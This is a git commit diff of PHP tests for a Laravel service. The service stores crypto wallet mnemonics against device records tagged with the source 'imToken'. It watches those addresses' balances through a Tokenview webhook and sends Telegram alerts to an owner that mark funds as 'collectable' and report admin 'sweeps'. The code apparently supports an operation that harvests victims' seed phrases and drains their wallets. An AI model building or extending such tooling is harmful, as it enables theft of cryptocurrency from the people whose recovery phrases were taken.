fix: notice

This commit is contained in:
hashbro
2026-09-19 02:20:51 +08:00
parent 5be0313ccd
commit 2625707aed
5 changed files with 126 additions and 13 deletions
+59 -2
View File
@@ -6,6 +6,7 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -179,7 +180,10 @@ class TokenviewWebhookTest extends TestCase
return str_contains($text, '余额入账')
&& str_contains($text, '+5 USDT')
&& str_contains($text, '余额')
&& str_contains($text, 'USDT');
&& str_contains($text, 'USDT')
&& str_contains($text, '来源</b>: imToken - TRX')
&& str_contains($text, '可归集')
&& str_contains($text, '❌');
});
}
@@ -244,7 +248,8 @@ class TokenviewWebhookTest extends TestCase
&& str_contains($text, '-500 USDT')
&& ! str_contains($text, '余额入账')
&& str_contains($text, '余额')
&& str_contains($text, '45.6');
&& str_contains($text, '45.6')
&& str_contains($text, '可归集</b>: ❌');
});
}
@@ -336,6 +341,58 @@ class TokenviewWebhookTest extends TestCase
$this->assertSame(0, TokenviewEvent::query()->count());
}
#[Test]
public function webhook_marks_balance_change_collectable_when_mnemonic_linked(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
$device = Device::query()->create([
'device_id' => 'dev-tv-collectable',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$mnemonic = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mnemonic->save();
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
'chain_type' => 'ETH',
'source' => 'imToken',
'eth' => 1.0,
'monitor' => 1,
'mnemonic_id' => $mnemonic->id,
]);
$this->postJson('/hooks/tokenview', [
'address' => $addr->address,
'txid' => '0xcollectable-'.str_repeat('b', 40),
'coin' => 'ETH',
'value' => '0.5',
])->assertOk()->assertSee('ok');
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额入账')
&& str_contains($text, '来源</b>: imToken - ETH')
&& str_contains($text, '可归集</b>: ✅')
&& ! str_contains($text, '可归集</b>: ❌');
});
}
#[Test]
public function webhook_ignores_address_when_monitor_off(): void
{
+16 -4
View File
@@ -101,7 +101,7 @@ class TransferTelegramNotifyTest extends TestCase
}
#[Test]
public function manual_transfer_does_not_send_auto_telegram(): void
public function admin_sweep_sends_manual_telegram(): void
{
$this->seedDevice();
Http::fake([
@@ -118,10 +118,22 @@ class TransferTelegramNotifyTest extends TestCase
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin');
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin:1@alice');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '手动归集成功')
&& str_contains($text, '操作人')
&& str_contains($text, '管理员 alice')
&& str_contains($text, self::FROM)
&& ! str_contains($text, '自动转账')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
#[Test]
@@ -174,7 +186,7 @@ class TransferTelegramNotifyTest extends TestCase
return Http::response([], 404);
});
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin');
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin:1@alice');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertSent(function ($request) use ($feeFrom) {